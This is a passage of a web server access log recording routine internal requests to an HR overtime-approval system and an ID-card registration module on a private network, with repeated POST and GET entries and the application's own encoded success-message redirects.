MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:08:51 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:08:51 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:08:51 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.60 - - [02/Dec/2025:11:08:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1149632 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:08:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1149632 192.168.11.146 - - [02/Dec/2025:11:09:04 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:09:04 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.60 - - [02/Dec/2025:11:09:07 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:09:07 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:09:08 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:09:08 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:11:09:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132684%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132684&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:09:18 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132684%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132684&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:09:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:09:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 192.168.11.146 - - [02/Dec/2025:11:09:45 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:09:45 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:09:45 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:09:45 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.146 - - [02/Dec/2025:11:09:58 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:09:58 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.146 - - [02/Dec/2025:11:10:40 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 135 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:10:40 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 135 192.168.11.146 - - [02/Dec/2025:11:10:55 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:10:55 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:10:55 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:10:55 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.60 - - [02/Dec/2025:11:11:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 132727 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:11:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 132727 192.168.11.146 - - [02/Dec/2025:11:11:09 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:11:09 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.60 - - [02/Dec/2025:11:11:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1147890 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:11:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1147890 192.168.11.146 - - [02/Dec/2025:11:12:24 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:12:24 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:12:24 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:12:24 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.146 - - [02/Dec/2025:11:12:38 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:12:38 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:12:38 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:12:38 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 192.168.11.146 - - [02/Dec/2025:11:12:49 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:12:49 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.146 - - [02/Dec/2025:11:13:36 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 4283 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:13:36 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 4283 192.168.11.146 - - [02/Dec/2025:11:13:40 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 7133 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:13:40 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 7133 192.168.11.146 - - [02/Dec/2025:11:13:48 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:13:48 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:13:48 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:13:48 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.146 - - [02/Dec/2025:11:14:04 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:14:04 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:14:04 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:14:04 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 192.168.11.146 - - [02/Dec/2025:11:14:07 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:14:07 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.146 - - [02/Dec/2025:11:14:19 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 135 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:14:19 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 135 192.168.11.146 - - [02/Dec/2025:11:14:35 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:14:35 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:14:36 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:14:36 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.60 - - [02/Dec/2025:11:15:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:15:23 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:15:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:15:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:11:15:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132685%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132685&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:15:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132685%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132685&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:15:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:15:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 192.168.11.146 - - [02/Dec/2025:11:18:08 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:18:08 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:18:08 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:18:08 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 192.168.11.146 - - [02/Dec/2025:11:18:11 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:18:11 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.146 - - [02/Dec/2025:11:19:13 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:19:13 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [02/Dec/2025:11:19:14 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [02/Dec/2025:11:19:14 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.60 - - [02/Dec/2025:11:19:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49938 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:19:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49938 192.168.11.60 - - [02/Dec/2025:11:19:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49938 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:19:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 49938 192.168.11.60 - - [02/Dec/2025:11:19:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 157526 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:19:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 157526 192.168.11.60 - - [02/Dec/2025:11:19:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1146439 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:19:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1146439 192.168.11.60 - - [02/Dec/2025:11:21:24 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:24 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:11:21:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132686%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132686&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:11:21:39 +0800] "GET 